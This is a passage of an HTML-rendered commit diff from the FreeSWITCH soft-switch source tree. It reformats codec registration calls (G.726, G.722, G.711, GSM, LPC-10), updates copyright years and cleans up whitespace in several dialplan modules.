</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         122,        /* the IANA code number */
+                                                                                         "AAL2-G726-32",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.726 32k");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         122,                                                /* the IANA code number */
-                                                                                         "G726-32",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         122,        /* the IANA code number */
+                                                                                         "G726-32",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* Increase encoded bytes per frame by 10 */
</span><span class="cx">         ebpf = ebpf + 10;
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.726 40k (AAL2)");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         121,                                                /* the IANA code number */
-                                                                                         "AAL2-G726-40",                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         40000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         121,        /* the IANA code number */
+                                                                                         "AAL2-G726-40",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         40000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.726 40k");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         121,                                                /* the IANA code number */
-                                                                                         "G726-40",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         40000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count * 10,                                /* number of frames per network packet */
-                                                                                         switch_g726_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g726_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g726_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g726_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         121,        /* the IANA code number */
+                                                                                         "G726-40",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         40000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count * 10,        /* number of frames per network packet */
+                                                                                         switch_g726_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g726_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g726_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g726_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* G722 */
</span><span class="cx">         mpf = 10000, spf = 80, bpf = 320, ebpf = 80;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.722");
</span><span class="cx">         for (count = 6; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         9,                                                        /* the IANA code number */
-                                                                                         "G722",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g722_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g722_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g722_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g722_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         9,        /* the IANA code number */
+                                                                                         "G722",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g722_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g722_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g722_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g722_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx"> #ifdef ENABLE_G711
</span><span class="lines">@@ -881,48 +869,44 @@
</span><span class="cx">         mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.711 ulaw");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         0,                                                        /* the IANA code number */
-                                                                                         "PCMU",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g711u_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g711u_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g711u_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g711u_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         0,        /* the IANA code number */
+                                                                                         "PCMU",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g711u_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g711u_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g711u_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g711u_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "G.711 alaw");
</span><span class="cx">         for (count = 12; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         8,                                                        /* the IANA code number */
-                                                                                         "PCMA",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         64000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         spf * count,                                /* number of frames per network packet */
-                                                                                         switch_g711a_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_g711a_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_g711a_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_g711a_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         8,        /* the IANA code number */
+                                                                                         "PCMA",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         64000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         spf * count,        /* number of frames per network packet */
+                                                                                         switch_g711a_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_g711a_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_g711a_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_g711a_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="lines">@@ -930,47 +914,44 @@
</span><span class="cx">         mpf = 20000, spf = 160, bpf = 320, ebpf = 33;
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "GSM");
</span><span class="cx">         for (count = 6; count > 0; count--) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         3,                                                        /* the IANA code number */
-                                                                                         "GSM",                                                /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         13200,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         count,                                                /* number of frames per network packet */
-                                                                                         switch_gsm_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_gsm_encode,                        /* function to encode raw data into encoded data */
-                                                                                         switch_gsm_decode,                        /* function to decode encoded data into raw data */
-                                                                                         switch_gsm_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         3,        /* the IANA code number */
+                                                                                         "GSM",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         13200,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         count,        /* number of frames per network packet */
+                                                                                         switch_gsm_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_gsm_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_gsm_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_gsm_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">         /* LPC10 */
</span><span class="cx"> #if SWITCH_MAX_INTERVAL >= 90
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "LPC-10");
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 7,                                                        /* the IANA code number */
-                                                                                 "LPC",                                                /* the IANA code name */
-                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 2400,                                                /* bits transferred per second */
-                                                                                 90000,                                                /* number of microseconds per frame */
-                                                                                 720,                                                /* number of samples per frame */
-                                                                                 1440,                                                /* number of bytes per frame decompressed */
-                                                                                 28,                                                /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 4,                                                        /* number of frames per network packet */
-                                                                                 switch_lpc10_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_lpc10_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_lpc10_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_lpc10_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 7,        /* the IANA code number */
+                                                                                 "LPC",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 2400,        /* bits transferred per second */
+                                                                                 90000,        /* number of microseconds per frame */
+                                                                                 720,        /* number of samples per frame */
+                                                                                 1440,        /* number of bytes per frame decompressed */
+                                                                                 28,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 4,        /* number of frames per network packet */
+                                                                                 switch_lpc10_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_lpc10_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_lpc10_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_lpc10_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx"> #endif
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmoddialplansmod_dialplan_asteriskmod_dialplan_asteriskc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -297,14 +297,16 @@
</span><span class="cx"> switch_endpoint_interface_t *sip_endpoint_interface;
</span><span class="cx"> static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                 switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t sip_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ sip_outgoing_channel
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                 switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         const char *profile;
</span><span class="cx">
</span><span class="lines">@@ -331,14 +333,16 @@
</span><span class="cx"> switch_endpoint_interface_t *iax2_endpoint_interface;
</span><span class="cx"> static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                  switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause);
</ins><span class="cx"> switch_io_routines_t iax2_io_routines = {
</span><span class="cx">         /*.outgoing_channel */ iax2_outgoing_channel
</span><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                  switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                 switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                 switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         UNPROTECT_INTERFACE(iax2_endpoint_interface);
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmoddialplansmod_dialplan_directorymod_dialplan_directoryc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -150,7 +150,7 @@
</span><span class="cx">         switch_safe_free(globals.dn);
</span><span class="cx">         switch_safe_free(globals.pass);
</span><span class="cx">         switch_safe_free(globals.base);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -161,7 +161,7 @@
</span><span class="cx">
</span><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">         load_config();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_DIALPLAN(dp_interface, "directory", directory_dialplan_hunt);
</span></span></pre></div>
<a id="freeswitchtrunksrcmoddialplansmod_dialplan_xmlmod_dialplan_xmlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -72,10 +72,10 @@
</span><span class="cx">
</span><span class="cx">         switch_core_session_exec(session, application_interface, arg);
</span><span class="cx">
</span><del>-done:
-        
</del><ins>+ done:
+
</ins><span class="cx">         UNPROTECT_INTERFACE(application_interface);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -100,7 +100,7 @@
</span><span class="cx">                 int ovector[30];
</span><span class="cx">                 switch_bool_t anti_action = SWITCH_TRUE;
</span><span class="cx">                 break_t do_break_i = BREAK_ON_FALSE;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 const char *xyear = switch_xml_attr(xcond, "year");
</span><span class="cx">                 const char *xyday = switch_xml_attr(xcond, "yday");
</span><span class="cx">                 const char *xmon = switch_xml_attr(xcond, "mon");
</span><span class="lines">@@ -125,7 +125,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_time_exp_lt(&tm, ts);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (time_match && xyear) {
</span><span class="cx">                         int test = tm.tm_year + 1900;
</span><span class="cx">                         time_match = switch_number_cmp(xyear, test);
</span><span class="lines">@@ -164,7 +164,7 @@
</span><span class="cx">                 if (time_match && xmweek) {
</span><span class="cx">                         /* calculate the day of the week of the first of the month (0-6) */
</span><span class="cx">                         int firstdow = (int) (7 - (tm.tm_mday - (tm.tm_wday + 1)) % 7) % 7;
</span><del>-                        /* calculate the week of the month (1-6)*/
</del><ins>+                        /* calculate the week of the month (1-6) */
</ins><span class="cx">                         int test = (int) ceil((tm.tm_mday + firstdow) / 7.0);
</span><span class="cx">                         time_match = switch_number_cmp(xmweek, test);
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><span class="lines">@@ -198,7 +198,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><span class="cx">                                                          "Dialplan: minute of day[%d] =~ %s (%s)\n", test, xminday, time_match ? "PASS" : "FAIL");
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 field = (char *) switch_xml_attr(xcond, "field");
</span><span class="cx">
</span><span class="cx">                 if ((xexpression = switch_xml_child(xcond, "expression"))) {
</span><span class="lines">@@ -229,13 +229,13 @@
</span><span class="cx">
</span><span class="cx">                 if (time_match == 1) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><del>-                                        "Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n",
-                                        switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
</del><ins>+                                                         "Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n",
+                                                         switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
</ins><span class="cx">                         anti_action = SWITCH_FALSE;
</span><span class="cx">                 } else if (time_match == 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
</span><del>-                                        "Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n",
